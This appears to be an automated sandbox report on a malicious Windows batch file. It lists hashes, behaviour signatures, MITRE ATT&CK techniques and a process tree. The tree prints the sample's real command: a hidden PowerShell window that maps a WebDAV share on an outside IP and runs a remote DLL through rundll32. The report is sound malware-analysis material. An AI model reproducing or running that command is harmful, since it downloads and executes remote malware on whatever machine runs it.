634b6479aa998ebb8b0dfc7111ba078972c19ecdafb67aed9c112c011c36acb9

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
12/07/2024, 08:51

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General

Target

3137250091390725801.bat
Size

2KB
MD5

fb27c72e4f5534a768b5c87f34fe19b0
SHA1

3b4522f7beaa58cb478a8ffcc567cd9f4f6a7381
SHA256

634b6479aa998ebb8b0dfc7111ba078972c19ecdafb67aed9c112c011c36acb9
SHA512

cf6f3b7ff67b8ca8695aa0e44f59b33915c1247e8b097b22b2c60ee714084c9012ee2288087af9f8985042796a9c4085d274e8df3f841e3a6cad08715721884d

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1260	wordpad.exe
1260	wordpad.exe
1260	wordpad.exe
1260	wordpad.exe
1260	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 1260	2512	cmd.exe	31
PID 2512 wrote to memory of 1260	2512	cmd.exe	31
PID 2512 wrote to memory of 1260	2512	cmd.exe	31
PID 2512 wrote to memory of 2880	2512	cmd.exe	32
PID 2512 wrote to memory of 2880	2512	cmd.exe	32
PID 2512 wrote to memory of 2880	2512	cmd.exe	32
PID 2880 wrote to memory of 844	2880	powershell.exe	34
PID 2880 wrote to memory of 844	2880	powershell.exe	34
PID 2880 wrote to memory of 844	2880	powershell.exe	34
PID 2880 wrote to memory of 2752	2880	powershell.exe	35
PID 2880 wrote to memory of 2752	2880	powershell.exe	35
PID 2880 wrote to memory of 2752	2880	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\3137250091390725801.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3432.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2880
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:844
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\3432.dll entry
    3⤵
    PID:2752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2880-23-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2880-24-0x0000000001D90000-0x0000000001D98000-memory.dmp

Filesize
32KB

Download